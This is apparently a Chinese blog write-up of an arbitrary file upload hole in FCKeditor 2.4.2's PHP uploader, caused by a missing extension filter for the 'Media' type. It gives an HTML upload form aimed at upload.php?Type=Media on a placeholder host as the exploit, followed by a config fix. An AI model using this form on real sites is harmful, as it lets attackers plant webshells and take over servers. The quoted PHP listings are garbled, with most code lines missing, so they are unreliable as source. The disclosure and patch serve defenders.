Fckeditor 2.4.2 php任意上传文件漏洞
1、漏洞描述
fckeditor/editor/filemanager/upload/php/upload.php
| <?php /* * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * This is the "File Uploader" for PHP. */ require('config.php') ; // This is the function that sends the results of the uploading process. // Check if this uploader has been enabled. // Check if the file has been correctly uploaded. // Get the posted file. // Get the uploaded file name extension. // Replace dots in the name with underscores (only one dot can be there... security issue). $sOriginalFileName = $sFileName ; // Get the extension. // The the file type (from the QueryString, by default 'File'). // Check if it is an allowed type. // Get the allowed and denied extensions arrays. // Check if it is an allowed extension. $sErrorNumber = '0' ; // Initializes the counter used to rename the file, if another one with the same name already exists. // Get the target directory. if ( $Config['UseFileType'] ) while ( true ) // If a file with that name already exists. if ( is_file( $sFilePath ) ) if ( $Config['UseFileType'] ) break ; SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ; |
fckeditor/editor/filemanager/upload/php/config.php
| <?php /* * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Configuration file for the PHP File Uploader. */ global $Config ; // SECURITY: You must explicitelly enable this "uploader". // Set if the file type must be considere in the target path. // Path to uploaded files relative to the document root. // Fill the following value it you prefer to specify the absolute path for the // Due to security issues with Apache modules, it is reccomended to leave the $Config['AllowedExtensions']['File'] = array() ; $Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ; $Config['AllowedExtensions']['Flash'] = array('swf','fla') ; ?> |
问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制,大概是写漏了,因为在fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。
| <?php /* * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Configuration file for the File Manager Connector for PHP. */ global $Config ; // SECURITY: You must explicitelly enable this "connector". (Set it to "true").
// Fill the following value it you prefer to specify the absolute path for the // Due to security issues with Apache modules, it is reccomended to leave the $Config['AllowedExtensions']['File'] = array() ; $Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ; $Config['AllowedExtensions']['Flash'] = array('swf','fla') ; $Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ; ?> |
2、漏洞利用
既然fckeditor/editor /filemanager/browser/default/connectors/php/config.php已经过滤了,那就只能利用 fckeditor/editor/filemanager/upload/php/config.php了。
不过如果留意一下改配置文件,就能看到默认情况下“$Config['Enabled'] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。
自己写段上传脚本:
| <form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post"> Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form> |
提交后查看源码就能看到上传文件的位置。
3、漏洞修补
最好用新版,要不就拷贝以下代码到config.php最后。
| $Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ; $Config['DeniedExtensions']['Media'] = array() ; |
姓名:Chinadu
近期评论